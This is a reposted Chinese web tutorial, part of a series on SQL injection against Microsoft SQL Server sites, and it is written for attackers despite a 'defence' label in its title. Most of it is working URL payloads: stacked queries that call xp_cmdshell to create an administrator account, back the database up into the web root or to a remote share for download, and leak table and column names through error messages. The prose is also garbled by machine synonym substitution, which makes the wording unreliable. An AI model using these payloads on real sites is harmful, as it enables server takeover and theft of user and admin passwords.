日期:2011-05-02 15:21:00 来源:本站整理
SQL注入漏洞全接触--高级篇(一)[MSSQL防范]
本文“SQL注入漏洞全接触--高级篇(一)[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
看完入门篇和进阶篇后,略加操练,破解普通的网站是没问题了.但假如碰到表名列名猜不到,或程序作者过滤了一些特别字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇.
第一节、操纵系统表注入SQLServer数据库
SQLServer是一个功效强盛的数据库系统,与操作系统也有精密的接洽,这给开辟者带来了很大的便利,但另一方面,也为注入者供应了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.ASP?id=1;exec master..xp_cmdshell "net user name password /add"--
分号;在SQLServer中表示离隔前后两句语句,--表示背面的语句为注释,所以,这句语句在SQLServer中将被分成两句履行,先是Select出ID=1的记录,然后履行存储历程xp_cmdshell,这个存储历程用于调用系统号令,于是,用net号令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种办法只实用于用sa衔接数据库的情形,不然,是没有权限调用xp_cmdshell的.
③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有个近似的例子and user>0,作用是获得衔接用户名,db_name()是另一个系统变量,返回的是衔接的数据库名.
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错表暴露的绝对途径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完好整的下载回来,全部的管理员及用户密码都一览无遗!在不知道绝对途径的时刻,还可以备份到网络地址的办法(如\\202.96.xx.xx\Share\1.db),但成功率不高.
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着全部的表名、视图、约束及别的对象,xtype=’U’ and status>0,表示用户成立的表名,上面的语句将第一个表名取出,与0对比大小,让报错信息把表名表暴露来.第2、第三个表名怎么获得?还是留给我们聪明的读者考虑吧.
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获得表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...便可以一一获得所猜解表里面的字段名.
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的理解程度,直接影响着成功率及猜解速度.在我研究SQLServer注入之后,我在开辟方面的水平也得到很大的提高,呵呵,大概安全与开辟本来就是相辅相成的吧
以上是“SQL注入漏洞全接触--高级篇(一)[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论